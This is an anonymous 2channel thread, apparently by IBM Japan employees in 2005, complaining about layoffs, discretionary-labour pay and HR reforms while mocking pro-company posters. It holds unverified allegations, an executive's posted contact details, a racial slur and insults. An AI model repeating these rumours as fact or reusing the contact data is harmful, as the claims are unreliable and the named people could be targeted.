【年金崩壊】日本IBM part28【モラルも崩壊】

【お願い】日本ＩＢＭ　part27【仕事ください】
http://school5.2ch.net/test/read.cgi/job/1128825262/
の続きよん。

さ、仕事しよっと。

日本を代表する伝統的な外資系会社、日本アイ・ビー・エムのみなさん。
今日もお仕事に精をだしたり、マッタリしたりしましょう。

スレ建て、乙。

古河電工が賃金未払い、１７００人に計１４億円
2005年10月28日21時12分

　古河電気工業は２８日、０３年１０月〜今年９月までの２年間に現社員１７００人の時間外賃金など計１４億２０００万円が未払いとなっていたことが分かったと発表した。内部告発を受けた労基署の指導で行った社内調査で判明した。

　内部調査では、開発や生産管理などの間接部門で働く３０００人に聞き取りなどを行った。うち１７００人が２年間で６８万７０００時間（１人当たり約４００時間）分の時間外・休日労働を会社に申告していなかった。

　半数は５０万円未満の未払いだったが、中には２０００時間超・５００万円超を申告していなかった社員が数人いた。仕事の効率を上げるために時間外の制限目標を設けた部署も一部にあったが、組織的にサービス残業を強要した事実はなかったとしている。

　同社は退職者や出向中の社員にも広げた調査を年内に終わらせる予定。未払い賃金の総額は１７億円規模に膨らむとみられる。執行役員を含む２０人は１１月分の報酬を１０％返上する。

http://2next.net/swf/R3_temp.swf?inputStr=%83%7D%83%93%83R%81B

WWのIBMの中ではIBM-Indiaの社員数が今年3月には2万人でしたが、
10月には28,000人に増員されました。

その結果、国別の社員数ではIBM-Jを上回り世界第二位の規模に成長しています。
しかも、その1万人以上の社員に日本語教育を義務付け、2006年には
続々と大挙して成田へ送り込むことになっています。

大連ISSCでもそういうアクションがすでに開始されていますが、
こちらの計画はインド以上に大規模なものです。

インド系リソースの最上級SEでも日本人の新人さんの半額の単価が設定
されていますから、競争力という点では大いに期待できるでしょう。

ＩＢＭのＳＥ単価が下がるのならユーザーにとってもうれしい話だ。
その優秀なインド人を早くうちにも連れてきてよ。

>ユーザーにとってもうれしい話だ。

ユーザーにとってはウレシイだろうし、GP拡大で会社もｳﾏｰだろう。

ただし、よほど爆発的に受注案件が増えない場合、余剰した日本人SE
の行き場がなくなるだろうが、結局退職強要の連発と強制転籍で乗り切るんだろなｗ

トラブルＳＩプロジェクトが最近多発しているらしいね。

品質も落ち、客からの要求も中途半端に受け入れてプロジェクト
はじめるから、火を噴くプロジェクトが続出らしい。

品質が落ちてきたのは大和だけではないのかｗｗｗ

バンド別要件に見合ったやつ　どのくらいいる？この会社

>>9

トラブルが1件でるたびに、プロジェクト10〜20件分のGPが吹き飛んでるようだねｗ

>品質も落ち、客からの要求も中途半端に受け入れてプロジェクト
品質が落ちるなんて…、ありえないはずなのになｗ
そういう場合ＱＡやＰＭＰを通したレビュワーを強く問責して解雇・懲戒処分するのが当然だよね。
開発現場をロクに経験してないＤＱＮ連中を集めて間接部門にＨＺでふんぞり
返らせてレビューだけさせてるからそういうことになる。

>はじめるから、火を噴くプロジェクトが続出らしい。
営業が何を請負ったのかもよく知らないのに、SEがプロジェクトに投入されてるね。
後から「そんなの聞いてない」と言っても、ダマされた本人が悪いってかｗ

>>11

>開発現場をロクに経験してないＤＱＮ連中を集めて間接部門にＨＺで
>ふんぞり返らせてレビューだけさせてるからそういうことになる。

恐らく現場で使い物にならないＤＱＮ連中が中途半端にレビュー、
適当に案件承認するからそういうことになるんだろうね。

でも悲しいかな、今は間接部門が偉いという流れになっているから
間接部門の人間は責任を取らされない。悪いのはプロジェクトメンバー･･･。
なんか間違ってるよなあ。


>営業が何を請負ったのかもよく知らないのに、SEがプロジェクトに投入されてるね。

こんな流れだから、お客様と契約要件にずれが生じるんだよなあ。
今問題アリのプロジェクト、相当数あると聞いたが。

Topが自分好みの女性を1stラインにはべらしている時点で終ってるよ。
あそこの部門は。

あそことは？

>間接部門の人間は責任を取らされない。悪いのはプロジェクトメンバー･･･。

先月、ＳＳＯへの発注処理をレビューすると称してある間接部門に一ヶ月も棚ざらしにされた。
結果、下請代金支払遅延等防止法の違反事例が生じたが、法務から
お叱りを受けたのは現場のＰＭとＣＲだった。
(ルーチン作業の依頼を一ヶ月もかけて何をレビューするというのか？！、
　しかも発注先はお客様の情報子会社！)

その間接部門は今日もずすしい顔して"コスト削減"の号令を出している。

それは上位マネジメントの特権です。
部門人事と組めば女性なんぞよりどりみどり。
ひがんではいけません。

ねえねえ、今度早期退職プログラムっていつやるか
知ってる人いる？
今度の１２月にはやらないのかなあ？

間接部門、間接部門、って具体的にどこなんだよ(藁

>>17
人づてに聞いた話だけど、年末はなくて3/末らしい。
しかも割り増しはよくて10ヶ月だとさ。下手すりゃ6〜8ヶ月くらいかもな。

>>6
インド人も日本へ来てしまったら、日本人と同じ生活費が要るんだよ。
日本へ来てしまったら意味ないのよ。
DELLみたいに中国に居ながらサポートして意味があるんだよ！
書いてて、おかしいと思わないのか、バカ！！

明るい話題なんて・・・　ないか。

>>18
俺の聞いた話だともっと後。
7月に本気で降格人事とかばんばんしだす前にどうせ落ちるよって脅して辞めさせるとか。

>>18
だんだん割増資金も底をついてきた？ｗ

age

"Pay for job, Pay for performance"の考え方に賛成です。

なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。
私の周囲の大半の社員も同様に賛成していますし、
裁量労働制のような優れた制度の導入もあり、
実際に職場のモラルも大きく向上しています。


業績達成度に関わり無く支給されている手当類については
原則として廃止すべきだと思われますし、
賞与・給与についても、業績達成度への評価をもっと反映すべきだと思われます、
成果主義の徹底を周囲の多くの社員が希望しています。

>>24
　　　　　　∩＿＿＿∩
　　　　　| ノ 　　　　　ヽ'''''';、
　 ,,......-/　　●　　　● |　　）
”” ;　　|　　　　( _●_)　 ミ 　　　　 §　まあ、これくらい当たり前だよなクマ？
　 ;;　　彡､　　　|∪|　　､｀＼＿_===・　　ttp://with2ch.net/up/data/1130527512.jpg
　;　　/　＿＿　ヽノ 　/´　――┴;; 　　
　;　　(＿＿＿）　　　 |　　―――'" 　　　　　 　
　 ￣￣￣￣￣）　,,..-'''⌒;,　　　/

割増金が底をついて来た様だね。
そこで、会社の資産を不正に活用したものを懲戒解雇ですよ。

具体的に言うと、会社のネットで2ch見たりする事が
それに該当するのかな。

割増ガッポリもらっておきながら、
「リストラされました。」と言うと、
みんな同情してくれまつ。
転職して地位と年収UPしたし
(*´Д｀)y−~~~激ｳﾏｰ!

箱崎からインドに丸投げして
とらぶったらＰＭがインドに常駐すればいいんだよ
すでに中国、台湾、ベトナムプロジェクトでそうなっているじゃねえか
だからSEはもういらないのよ、日本に。
箱崎は閉鎖

>>11
>>12
ヒント：早期退職プログラム（来年３末）

箱崎が考えているのはＳＥをプロフィットセンタとなるプロジェクトごとに
割り振って解消させ、そこの上がりでＳＥ年俸が自動算定される仕組み。
事業所ごとにロールが違うのではなく、客からみた仕事の請負先に担当者
がいてそいつが各事業所にいるということだけ。あとは、そいつが箱崎
ＳＥ使おうがどうだろうがしったことではない。これで大量リストラが
可能。２０００とかじゃなくって５０００とかが目標だから。

>>30
担当者だけで誰を使うか決められるなら、ラインはいらないね。
それと、プロジェクトに対して「プロフィットセンタ」という言葉は使わないわな。

今朝の日経によれば、IBM従業員30万人のクライアントPCにLotus Workplaceを展開するらしい。
当面はMS Officeと並存だろうけど、本気でOfficeをリプレースする気なのだろうか。

裁量労働制の導入を歓迎します

専門性のある職務に就くリソースにとって存分に能力を発揮できる
すばらしい制度だと思います。

優れた仕組みを導入していただいたマネジメントの皆様に感謝します。

今後も成果主義に基づいた制度改革の推進を多くの社員が希望していますし、
ロールモデルを規定していただいたことで、より働きやすく
業績達成度の向上がしやすくなりました。

>>32
どうだろな。
昨年大風呂敷を広げて大騒ぎしながらポシャったWW Linux化というのもあったが。

>>15

こういう一般の掲示板にて、特に現場の人間が社内部門に対しての
批判を書き込むのは特に慎むようにしなさい。
会社施策そのものを批判していると受け止められる恐れもあるし、
結果としてそれは社内の意見に一致していない社員が１人でも
存在していることを外部の者が知る可能性が発生したり誤解を与えかなえない。
そしてそれは会社イメージや企業価値の損失につながることも考えられる。


もしそういう意見があるのだとしても、このような一般の掲示板ではなく、
まず、普通なら所属長に相談するかスピーク・アップ！など
の創案プロセスを通すようにしなさい。

>>35
すでにその件はスピークアップして満足な回答をえられませんでしたが、なにか?

>>36
問題は２つある。
1.会社施策そのもの自体について、本来なら管理を受けるべき側である現場の人間が
　管理する側の部門に対して批判を行っている

2.すでに用意された社内プロセスを活用せずに、このような一般の掲示板に、
　書き込んでいる。しかもそれらの中には所属長の承認を得ていないのに、
　社外掲示板に対して意見表明がしかも無管理に発信されている。

このことは、会社イメージや企業価値の損失につながることも考えられる。

>>37
3.そもそも管理者を会社が正しく管理できてない。(笑)

会社イメージを良くしたいなら
まず社員のほとんどが喜ぶ人事施策を発表しろ

それと本来裁量労働にできない若手を裁量労働にして
裁量を奪うのはやめろ

Ｗ３に女性社員にカオ写真を載せてストーか被害にあった場合の
会社のせきにんは？

http://www.google.co.jp/search?hl=ja&q=%E6%AD%B4%E5%8F%B2%E3%81%A8%E5%99%82%E8%A9%B1&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

マーク・ローリッジがJの本社売ったこと喋ってたね。
資産売却して何百億か入ったって。

ほっと一息入れましょう

http://ur.ur.to/picbbs/img/1854.gif

http://ur.ur.to/picbbs/img/1853.gif

売れる資産はすべて売却
あとは経費処理
いつでも撤収

残った資産は・・・・







天城かよｗｗｗ

雨着は喜び組で歓待して．．．

>>39

裁量労働制の導入や、若手の早期Ｐｒｏｍｏｔｉｏｎを盛り込んだ新人事制度、
そして定年延長や優れた退職金改革など、多くの社員が歓迎しているし、
世間から見たらこれほどの好待遇ではむしろ社員を甘やかし過ぎとも
言われなりかねない内容。

ここまで優遇待遇をして、これ以上何の不満があるのかわかりませんよね？
それともあまりの優遇処遇しすぎで世間の感覚を失った一部ワガママ社員の
たわごとか？

>>47
ふーん、で、お前、去年年俸いくら？

スキルのある香具師とない香具師の差が激しすぎる。
でも給料はあまり関係なく決まる。そこが納得いかない。
Band別スキルレベル定義なんて結局後付けでなんとでも理屈つけられるだろうし
判断するラインが現場分かってないDQNだからどうしようもない罠。
ロクな仕事しないでネットサーフィンやって高い給料もらってるデブオヤジが
さっさと定時帰りで若い派遣の女の子に貢いでたらそらやる気なくす罠。
仕事しとらんやつはさっさとクビにしる。
普通、外資系はそうだろ。MSにしろHPにしろ。

ここはリアル外資じゃありませんよ
国産企業です

>>49
２つとも似たようなモンですよｗ
MSなんてあの方が行ったじゃないですかｗ

>>37
あなた、松永さんですか?

割ろう他

>>49
言えるな。

昇進もAwardも理由は後付け。
Band別スキルレベル定義とはいっても、最終的にはいつもの「ラインによる
例外承認」だろ(w
どうせライン人事なんだから、本社人事がいくら制度作ってもだめなのよ。

降格といっても、主管を副主管に、副主管を専任に格下げできる度胸のある
ラインがいるかどうか。あいつらは既得権益で生きているから、降格される
となるとそれこそ大騒ぎしそうだ。

せいぜい、若くて騒ぎそうにもない主任を副主任にするくらいか。

>>42
いつ、どこで喋ってた?

ところでマーク・ローリッジって何者?

>>47
好待遇を好待遇のまま実践するほど管理職も馬鹿ではない。
報告書の中だけの好待遇なのさ。
社長の話聞いて、「えっ、どこの会社のこと？」って、よく思うよ。

>55
http://www-1.ibm.com/press/PressServletForm.wss?MenuChoice=biographies&TemplateName=ShowFullBiographyMain&SelectString=t1.docunid=177

>>47
働き方だけでしょ。給料は悪いよ。

別会社化、以前からずーっと言われてますよね、について。
USでは、相当検討しているのでしょうね。投資銀行出身の方が米国本社
へ転職したのが、以前新聞記事になったくらいだし（いつ頃でしたか）。
ファイナンスの基本（リスク＆リターン重視！）では、RARORACが高い部門
を積極的に伸ばし、低い部門については縮小したり撤退も考えたりする。
成長が見込まれるインド・中国のRARORACがこれからも高く、そうでない国や
事業（旧ＰＣ）のRARORACが、低かったことは明確だからね。
様々なデータが、日々システムを通じてＵＳへ送られて、専門家の手に
よって分析されていることに間違いはない。さて、日本はどうなる？？

で、マーク・ローリッジさん、とは
Mark Loughridge Senior Vice President & Chief Financial Officer

フジテレビジョンに入社するか
都庁にしとけばよかった

ここでは全てが貧しい

>>54,>>56

そういう事実は無いし、実際のところ大半の社員は新人事制度改革を歓迎していますよね。

意見があるのなら、こういう一般の掲示板ではなく、
その意見を適正な社内の創案プロセスや所属長と相談するようにしなさい。

>>61
そんなことしたら、潰されて立ち上がれなくなりますよ。
怖いです。

>>61
まるで多くの人から意見を聞いたかのような発言ですが。
どのような社員が歓迎しているのか明確にしないと議論にならないでしょう。

>>61
だからぁ、あなた松長さんでつか?

IBMとGoogle企業向け検索で協業
http://pcweb.mycom.co.jp/news/2005/10/28/033.html

>>59
彼か↓
Mark Loughridge
Email: [email protected]
Telephone: 1-914-499-5205
Location: Armonk, USA

教えてくれてさんきゅ。

>>61
創案っていうのは、告げ口のためのものではないし、
所属長に相談しても、聞き流されたよ。それが現実。

「スピーク・アップ！」という優れた制度をご存知ですよね？

World Jamには参加しましたか？

Jamに参加すると話が途中でジャムってジャムになります。。

>61
あんまり調子こいてんなよ。

裁量労働制の導入を歓迎します。

特にサービス事業では、働いた時間数ではなく、成果物や業績達成度によって
報酬が決まるというのは本来あたりまえのことだと思います。

また、時間にとらわれずにいままでよりも存分に働けることに
なったことも大きなメリットです。

"最良"の労働制だと思います。

>>71
労働基準監督所に目をつけられているらしい。年末までにまた監査が入るらしい。
先日発表された休日手当の件もそれに関連しているのでは。
きっと会社は法律の解釈が異なっていたとか言い訳するんだろうけど。

>>72

こういう一般の掲示板ではなく、意見や指摘があるのなら、
まず所属長に相談するのが普通。

スピーク・アップ！やThink Vantage、Emploee Surveyなど
活用できる社内プロセスが数多くあるのに、わざわざ
こういう一般の掲示板に記載するというのは会社への信義に対する
背任行為ではないのか？

まず、正式プロセスを活用することを心がけなさい。

>>73
労基所に相談します。

>>37
従業員はもう会社の価値が下がろうが関係ないという考えだと思います。
社員を大切にしないから、社員だって会社を大切に思わないだけです。
自業自得ですね。
価値は下がるかもしれません。でも、真実ですからいいと思います。
一般社員は困りませんよ。誰が困るんですか？

>>73
みんな１回は利用してると思いますよ。
結果的にもう二度と使えないと理解するんです。
やはり、公の機関に相談するくらいしか道はないと思います。

>社員を大切にしないから、社員だって会社を大切に思わないだけです。

優れた新人事制度改革、頑張った人が報われる成果主義による報酬制度、
実勢に応じた退職金制度改革、頑張った若手社員の早期Ｐｒｏｍｏｔｉｏｎなど、
他社から見ても羨望されるほど、社員はすでに優れた制度の恩恵を
得ているのは明らかで、それでもなお「大切にしない」などという
暴言がでること自体世間知らずだし、会社の恩に対してそれを仇で返す発言を
言わざるをえません。
そこまで言うのなら、とっくの昔に辞めたらどうか？
わざわざそう思う会社にしがみつく理由はなかろう？！

>一般社員は困りませんよ。誰が困るんですか？
従業員にも株主に対する責務の一端を負っていることを忘れるべきでない。

>>77
>頑張った人が報われる成果主義による報酬制度
これはちがうのでは。頑張らなくても成果を出した人なんじゃないのかと。
だから、頑張った人が報われるというのは間違い。

「スピーク・アップ」で変えられるのは、制度であって管理職ではない。
制度だけ作って監査がないから、管理職が好き勝手できる。
管理職が善人であるのが前提だから、その時点で制度は破綻してるのさ。

ライン人事による人材育成はすばらしいですね。

http://ime.st/www-6.ibm.com/jp/provision/no46/pdf/46_mng3.pdf

IBMのプロフェッショナル制度はいろいろなところで紹介
されていますが、技術系・営業系を含め、基本的なキャリアパスが
世界共通で定義されています。

　これは正式にはＩＣＰ(IBM Ceritifed Profession)という認定制度で、
技術系の最高位はＩＢＭフェロー、
もしくはＣＴＯ(Chief Technology Officeer:最高技術責任者)となっています。

>>77
大切にしていないかどうかはわからないけど、管理者は自分たちがその制度や
基準で評価されたり、昇進したりしているわけではないのだから、それが適切
に運用されるかは不安だし、ここ数年の人事施策の変更に関して、実際に
効果的に運用されていないのが端々に見えてしまっていることが大きな問題。
制度をどんなに変更しても無駄な状況。

なにを基準に「頑張った」と評価されるのか理解できません。
若い女の子に声まで変えて甘く接し、その子のミスは他の部下に
押し付けるラインが評価する「頑張った」に疑問があります。
評価がガラス張りにならない限り成果主義は掛け声のみです。

ID:VcMHAObkよ、おまえいいかげん自分のバカさ加減に気付け。
机上の空論なんかクソの「役にも立たないんだよ。
仕組みだけせっせと作っても適切に機能してなきゃないのと一緒。
そんなこともわからないお前はライン失格。

>>80
>ライン人事による人材育成はすばらしいですね。
本当に機能していれば、そうなんだけどね。いまいちなのでは。

まあそもそも>>37にあるように

「本来なら管理を受けるべき側である現場の人間が
管理する側の部門に対して批判を行っている」

ことが「問題」だというのが、もう北○鮮とまったく同じだよな。もの言えば唇寒し。
スピークアップもきちんとしたフィードバックはなく、
ラインになんか相談した日には次の早期退職プログラムで肩を叩かれる結果になる。
自分たちがいかに異常か、すでに客観視することもできなくなっているようだな。

>>83
同意です。でも、苦しくなると会社の資料の引用をするだけで、
自分の言葉で実情を語れないのには何かわけがあるのでしょう。(笑)

>>83

頑張ったかどうかはＰＢＣで評価されるだろ？！
おまえ社員か？

うーん。スピークアップに多少なりとも期待をかけているから議論が起こる
んだろうけど。少しでも当てにするのは、どうかしてると思うぞ。
可愛そうな言い方だけど。

スピークアップによって保護された犯罪者が、警察にも突き出されずに
他の事業所に飛ばされたのを知っているけど、それは、一般に再犯性の高い
系統の犯罪だった。飛ばされた先での、周りの人間の保護が心配。

意図しないで犯罪になってしまった例は、情状酌量も有りだと思うけど
（本来はこれも警察が決めるべき事だけど）、私の見た例は、
「意図して」「複数の被害者」を出した例で、外部に出ると
週刊誌が飛びつきそうなイメージの悪いものだった。

会社の論理は、法律の上を行くという一つの事例だったと思う。
だから、「あっ。こういう会社なんだな」とその時、理解しました。

法律を遵守するか、会社の言う事を素直に守るかというのは
サラリーマンなら当然突き当たる壁だと思う。
しょうがないと諦めるか、そんな事も気にあらない頭の悪い人間になるか
選択肢はどっちかだろうね。

PBC？あんなものは年初から決まってるんですよ。
まやかしです。

どんなに>77が頑張っても所詮45歳で
リストラされるんだから、哀れよのう。
>77お前いつまでも今のパフォーマンスを確保できると勘違いしているのか。ボケ。

PBCなんてすでに実質的に崩壊してる。
そもそも今のラインのほとんどは人を評価する能力も器量も知識もない。
結局、本当に会社のことを憂えて批判をする社員はすべて不満分子扱い、
リストラのノルマ達成のための人柱にされてしまい、
ただのイエスマンだけが残される。

「裸の王様」というお話を知っているかな？（嘲

本当に会社のことを憂えて批判をする社員？
誰？

余りにも人事評価の手続きが朝礼暮改なんでラインもPBC自体興味持ってないというか信用してないからね。
締め切り間際にやんないといけないから適当に入れといてって言われて適当に入れてるだけだし。
スキルテンプレートなんで入社以来、毎年のようにフォーマットが変わって、尚且つ過去の履歴も分からんしね。

ということは人事政策が間違ってるということでＦＡ？

ただ、不満分子がどれだけの比率でいるかわからないけど。

【松下の9月中間、営業益9％増・プラズマなど好調】

松下電器産業が28日発表した2005年9月中間期の連結決算（米国会計基準）は、
本業のもうけを示す営業利益が前年同期比9％増の1711億円となった。
プラズマテレビやデジタルカメラなどデジタル家電の好調が続き、アテネ
五輪需要で急増した前年同期の利益を上回った。
白物家電も順調に伸びたほか、経費圧縮など構造改革も寄与した。




そういえば、嘔吐死が松下電器の構造改革に寄与できたって以前喜んでいたな。
（社長賞とかも２年前くらいにチームには送っている）

中村社長、ぜひ嘔吐死にお会いすることがあったら「日本ＩＢＭ」の今年の
業績を聞いてあげてくださいｗｗｗ


弊社は業績ぼろぼろですから。
（日本だけでＢｕｄｇｅｔの達成率も９０％未満だし、昨年同期比ー５％くらいですから）

ロールモデルに従い、会社が求めるリソース像をよく認識し、

貢献できるように努力しよう！

>>96
リソース像を出しても、いざ昇進申請を出すと例外申請で
どうにでも承認を取れるので無意味です。

名ばかりの制度は(ﾟ�听)ｲﾗﾈ

中３スピーキング調査実施へ、全国で1000人対象・文科省
http://www.nikkei.co.jp/news/main/20051029STXKG026229102005.html

　文部科学省の国立教育政策研究所は、中学3年生の英語を話す能力を把握するため、11月から約1000人を対象に調査を始める。全国的なスピーキング調査は初めて。
　研究所は「指導要領で重視されるようになった、話すことで自分の考えを発信する能力がどの程度身に着いているか確かめたい」としている。

私達ＩＢＭ社員も中学生に負けていられませんね。
ＴＯＥＩＣでは最低でも８００点台を目標に頑張りましょう！

>>77
日本IBMの株主はコーポレートですが、なにか?

コーポレートへの責務ということですか?

>>98
全社の平均を知っていてそのようなことを言っているのか？
平均を下げているのは若い人ではないのに。

>>87
おっ、どうした???

やっと自分の言葉で書いたか(藁

>>68
スピークアップ!をそれほど勧めるって、ひょっとしてあなたは子原さん??

たしかに、利用率を上げないとあなたは転籍先でもクビになるしね。

亀レスだが>>72に禿同。
休日出勤も裁量労働の範囲というのはどうみても無理な解釈。
法務あたりと相談して改定したんだろうね。

本来なら裁量労働制を始めた日に遡って休出手当を支払うべきだが
訴えられでもしない限り会社は払わないし、そもそも金ないしｗ

>>103
4を参照。

労働基準監督所に通報したのは誰だろうね？
豊洲の人かな？

労働基準監督所にスピークアップですかｗ

>>95
表面的なニュースしか見てないな。
松下電器産業の従業員数や売上高も知らないんだろうな。
薄利多売の家電メーカーと比べてどうする？
体質が全然違うのよ。

>>103
法務も人事の犬だからどうしようもない。
嘔吐氏大事の無理な法解釈大杉。

>>98
0時過ぎてIDが変わったかい？（嘲

TOEIC800なんてとっくの昔に超えてますが。
そういうあんたは？

口を開けば「他社から見ても羨望される」云々とか言うけどさ、
あんた、ほんとに今の現場の現実を知らないんだねえ。
どっちが世間知らずなんだか（嘲
俺なんか、他社に行った友人たちと会って話をすると、
IBMがあまりに劣っているのでこっちも驚くし、相手も驚くもんね。
最近じゃ同情される始末ｗ

おまえさあ、営業でもPMでもいいけど、いちど現場と同じ給与・
同じ労働条件で仕事してみろよ。
多分今のあんたの給与の4分の1ぐらいになるんじゃないか？ｗ

どうかお願いいたします。

今年の年末こそ、肩叩かれますように。
んでもって、少しごねて12か月分くらいでよいので
割り増し貰って辞めますのでｗ

マジでラインに頼んでみようかな。または12月27日くらいに
数字の大幅デコミでもするかなｗｗｗ

”ＩＢＭ”というブランドと社員のステータスを考えれば、
年収３００万でも”ＩＢＭの社員”というステータスを手に入れたいと
入社を希望している優秀している人はたくさんいます。

そういう意味で会社はもっと社員への「ロイヤリティ負担」のようなものを
要求してもいいと思います。現行の報酬の３０％程度をカットしても
ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

人事制度改革・年金制度改革には全面的に賛成です。

すでにこちらの部署でも全員１００％が署名・捺印を完了しました。

誰もが知る有名会社だけど収入面で恵まれてないことも世間で有名な会社
に勤める一つ年下の妹。仕事は毎日7時半位に終わる様子。

毎日10時過ぎまで働き忙しい時は毎晩終電の自分が
妹より年収が低いことがわかって結構ショックでした。

こんなことなら公務員にでもなればよかった。
…いくらなんでも公務員よりは収入はいいとは思うけど。

>>112
公務員は福利厚生がよいから、トータルで比較したら
IBMが断然悪いよ。

自分が就職するときはIBMも福利厚生バツグンの会社だと思って入ったのにな。

世間のイメージ（高給、福利厚生○）と実態が異なりすぎ。

最近入社する人は優秀な学歴の人が多いけど、彼らはもっと違う会社行けるだろうに
IBMが作る会社のイメージにだまされているなーと
かわいそうになります。

裁量労働制なんて、ただの人件費抑制であることは学生にでもわかるだろうに。

>誰もが知る有名会社だけど収入面で恵まれてないことも世間で有名な会社

どこだ？

元国営企業です。

入社する前はアメリカのIBMをイメージしていたが、実は違っていた。
同じ「IBM]という名前だから間違ったんだろうなー。

>>116
JR?

>>77
>>98
お前マジウザイ。この掲示板から消えろ。
誰一人賛成意見がない事ぐらい、いい加減気づけよ。
なにが目的だ？もしかして大歳か役員のだれかか！？

>>119
98じゃないけど、掃き溜め社員のスレだから誰一人賛成意見がないのは当然だよな。

"Pay for job, Pay for performance"の考え方に賛成です。
なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。

私の周囲の大半の社員も同様に賛成していますし、
そのことで実際に職場のモラルも大きく向上しています。
能力ある若手社員の早期Ｐｒｏｍｏｔｉｏｎを盛り込んだ
人事制度改革には多くの社員が歓迎しています。


業績によらず支払われている手当類については原則として廃止すべきだと思われます。

641 ：名無しさん＠６周年：2005/10/30(日) 00:39:29 ID:B3qtZLnb0
おまいら、
「私は、人権救済条例の取消しを求めます。」
この内容１行でいいから、
１日１通でいいから毎日、抗議メールを送ってくれ。

人権推進課：【 [email protected]】
同和対策課：【 [email protected]】

■プレミアム獲得で、転職活動ここぞと頑張れ！　
　（IBMJ出身者のレジュメばかりを目にする、よそ様の人事マン結構疲れそう）
■残る人も、GP向上へとファイト！
　（精神的にも肉体的にもボロボロに、気づくと家庭は崩壊、にならないよう）

>>118
NTTの若手ってことじゃない？
JRは給料いいでしょ。

いや、うちの会社単純に瞬間を見れば嘆くほど給料悪いとは思わないよ。
でも今の流れを見ていると、自分が50になったときにまともな待遇で働けるとは思えない。
この会社ってちゃんと会社に貢献できるシニアを育てる機能が欠落してないか？

フリー・エージェント制度を歓迎します
---------------------------------------------------

社員が自分で選択したキャリアを追求できるＦＡ制度が導入
されていますね。

これにより、自分の志望するキャリア・パスの選択肢を大幅に
拡大されることは現場でも強く歓迎されています。

短時間社員制度、裁量労働制、セルフ・エンプロイド型など、
私たちの多様な働き方を認める制度改革は
これからの多くの企業における人事制度を先取りする
すばらしい内容であり、高い専門性を有したリソースが
最大限存分に働きやすい制度だと思います。

パフォーマンス・ボーナスだけでなく報酬全体について、業績によらず
支払われている各種手当の全廃など、業績達成度をより
反映しただけるよう多くの社員が希望しています。

人事に人事権の無いライン人事なんだから、
人事が決めた制度なんて意味なくなくな〜い？

>>124
自分が50になったときにまともな待遇で働けるか云々って、あなたこの会社
で50を迎えられるって本気で思ってるんですか。意味の無い心配ですよ。

>>127
うちの部門、50以上の人たくさんいるよ。
ここ1年くらい、50以上で中途で辞めた人って一人しかいない。

営業系なのに変わった部門だ。

漏れはサービスのＳＥだけど、平主任あたりで５０超えている人って組合員
以外でいませんよ。
仕事が激務ってこともあるけど、いつもリストラのターゲットにされてから
かも。

漏れは４０前だけど、同期がどんどん辞めていって残っている椰子があまり
いない。いろんな理由で辞めていく。
体を悪くしてしかたなくや鬱の場合は悲惨だ。辞めても転職もできないだろう。
部門で処遇が違うのだろうがＩ○Ｓで生き残ることは本当に難しい。
管理部門が羨ましい。

管理部門って具体的にどこの部門のこと?

経理とか人事のいわゆる事務系?

いろんな見解があるだろうが漏れから見たらプロジェクトのＱＡやってる
サ○トや、スキルをただ管理だけしているプロ○○○○○管理などの
コンピ○○○○系の部門も管理部門だ。
立場によって見方が違うだろうが。

サポートは全くせず数字追っかけしかしてないセールス・オペレーション
なんかその最たるものでは?

>>132
伏字大杉(爆)
それほどびびることもないぞ。

会社マンセーの書き込みばかりするバカは
口を開けば「大半の社員は」「多くの社員が」と言うけど
ちゃんときっちり統計取ったのかとｒｙ

まあ、取ったとしても表立って反対できる人はおらんわな。
反対すれば即退職勧告リスト入りだし。

職場の雰囲気は悪くなる一方だね。

２０代は転職のタイミングを逃さないこと。
安くこき使える奴隷には会社はこびを売るから
勘違いしてしまう。
あとで大変なことになるぞ。
いやほんと。

たしかに本社ビル売ってしまった今、もう売れるものはないね。
これはたいへんだ。

ここまで人員削減ばかりというのも情けない。ラインの日常業務が、
『いかにしてＡ氏（でなければ、Ｂ氏、Ｃ氏）を早期退職に追い込んでいくか』
の検討・実施に時間の大半をとられるようになっている。こんなことをする
ために管理職に昇進したのか、と自問くらいはするだろうが。
日本法人としての成長・事業拡大は、どこへ行ったのやら。。。

>>137
そこで自問するような、少しでもまともなラインはもうほとんどいなくなったんじゃないか？
転籍させられたり、早期退職させられたり・・・。

自分の頭でものを考えられるような優秀な人間ほど馬鹿を見る。
どんなにスキルがあっても関係ない。
実際、ものすごくスキルのある超優秀なスペシャリストでもやめさせられている。
何も考えずマンセーする社員が「会社が求めるリソース像」らしいな。

マンセーしないと自分が壊れてしまいますよ。
だからマンセー平壌市民だけが残っているわけです。
２０代には染まらないうちに脱出してほしいっす。

本社を売ったのだったら割増の原資が入っただろう。
それで割増分を増やしてもらおうじゃないか。
それと早期退職は昔のように公開してやってくれ。

日本国内の資産のお代はすべてフロリダ老人に吸い取られていますので、
イエローモンキには配分されません。
昔からの白人の方針です。
５億も１０億ももらえるのはＪで１人か２人と決まっております。

早期退職
退職強要
等は会社のイメージが悪くなるので
隠れてこっそりやるモードが定着しております。
非公開です。

たしかにいいイメージくらいは残ったほうがいいと思います。
他には何もないのですから。

>>142
退職強要などとウソ言うな。

あくまで本人の意思や希望に添った選択肢の提案という形だろ！？

人事制度改革については、高い専門性を持ったリソースの
活躍をさらに促すという点で優れていると思います。


裁量労働制の導入とあわせて、優れたな改革を行っていただける
マネジメントの皆様に感謝します。

>>137
日本の市場規模が縮退してるのに、事業拡大してどうするんだよ。
経営陣的には「減収増益」を目指してるんだと思われ。
それがいいのか悪いのかは平の漏れは知らないけど、増収減益
（増損？）よりはましな気がする。

どうでもいいけど、このスレで山ほど出てくる
・中高年が給料もらいすぎ
・今のまま若手の自分が働き続けても、中高年になった時には給料が伸びない
・長く働き続けられる会社じゃないIBMはおかしい
という3つの不満って、全部合わせるとおかしくないか？

3つ全部を合わせて要約すると
「今の中高年には高い給料を払う必要はないけど、
若手の俺はリストラせずに中高年になっても高い給料くれ」
ってことになると思うんだけど。

きいた話では個室でねちねちやられるらしいですね。
退職提案。怖いですね。

>TOEIC800なんてとっくの昔に超えてますが。

よく、何年も前のＴＯＥＩＣの点数で生きながらえてる香具師が
いるけど、そういうのは社内的には無効扱いにすべき。
最低でも2年ぐらいを有効期間として、毎回試験受けさせて更新させるべきでは？

>>146
その三つを同じ人が言ってると思ってんの？

>>146
「減収」目指す会社はないわなｗ
あくまでも結果だ。

わたし、やられました。

「XXXさん、ちょっといい?」
「用件はなんですか?」
「ん? ちょっと」

